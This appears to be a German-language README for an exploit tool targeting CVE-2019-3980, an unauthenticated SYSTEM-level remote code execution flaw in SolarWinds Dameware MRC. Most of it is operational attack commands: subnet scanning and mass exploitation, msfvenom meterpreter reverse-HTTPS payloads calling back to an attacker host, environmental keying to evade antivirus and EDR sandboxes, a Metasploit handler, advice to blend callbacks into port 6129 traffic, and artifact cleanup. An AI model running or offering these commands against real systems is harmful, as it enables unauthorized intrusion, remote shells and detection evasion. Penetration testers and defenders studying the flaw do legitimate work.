
Python-3-Exploit für CVE-2019-3980. Nicht authentifizierte RCE als SYSTEM über SolarWinds Dameware MRC Smartcard-Authentifizierungs-Bypass.

Unauthenticated RCE über Smart-Card-Authentifizierungs-Bypass in SolarWinds Dameware MRC
CVE-2019-3980 | CVSS 9.8 Kritisch | TCP/6129
Ursprüngliche Forschung und POC: Tenable, Inc. (TRA-2019-43)
Python-3-Tool: David Boyd (@Fir3d0g)
Dameware MRC stellt einen Fernwartungsdienst (DWRCS.exe) auf TCP/6129 bereit. Während des Smart-Card-Authentifizierungs-Handshakes akzeptiert der Server eine angreiferkontrollierte Datei als Smart-Card-Treiber-Installer (dwDrvInst.exe) und führt diese als aus – ohne dass eine Authentifizierung erforderlich ist.
DameFlare implementiert den vollständigen Protokoll-Handshake (Versionsaushandlung → AES-Schlüsselableitung → Diffie-Hellman-Schlüsselaustausch → RSA-Signatur → Treiber-Upload), um eine beliebige Nutzlast zu übermitteln und eine unauthentifizierte Remote-Codeausführung zu erreichen.
| Produkt | Verwundbar | Behoben |
|---|---|---|
| Dameware MRC 12.0.x | Alle Builds | Hotfix 1 |
| Dameware MRC 12.1.x | Alle Builds | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
Entfernen Sie das dwDrvInst.exe-Artefakt nach der Ausnutzung vom Zielsystem:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
Erfordert msfvenom im PATH. Lädt eine selbstlöschende EXE hoch, die dwDrvInst.exe und sich selbst nach einer kurzen Verzögerung entfernt.
Alternativ können Sie bei vorhandenen Zugangsdaten etwas wie NXC verwenden:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
Rohen Shellcode mit Environmental Keying umhüllen, um AV-/EDR-Sandbox-Analysen zu umgehen. Die Nutzlast wird nur auf einem Rechner entschlüsselt und ausgeführt, auf dem die Schlüssel übereinstimmen. Großer Dank an Kevin Clark (@GuhnooPlusLinux) für seine großartige Arbeit!
# Schlüssel auf Domain und Hostname (kurze Namen verwenden, nicht FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Nur Schlüssel auf Domain
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Nur statischer Schlüssel (nützlich zum Testen)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Alternative Injektionsmethoden, falls srdi-shellcode erkannt wird
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
Hinweis: Der Payload-Name muss in msfvenom und im Handler exakt übereinstimmen:
- Stageless:
windows/x64/meterpreter_reverse_https(Unterstrich)- Staged:
windows/x64/meterpreter/reverse_https(Slash)
Tipp: In Dameware-Umgebungen ist Port
6129oft ausgehend erlaubt und fügt sich unauffällig in den legitimen DWRCS-Verkehr ein. Falls443blockiert oder von einem Proxy überwacht wird, versuchen SieLPORT=6129, da das Zielnetzwerk vermutlich darauf ausgelegt ist, diesen Port zuzulassen.
Dieses Tool ist ausschließlich für den Einsatz in autorisierten Penetrationstests und Red-Team-Operationen vorgesehen. Der Autor übernimmt keine Haftung für unbefugte oder unrechtmäßige Nutzung.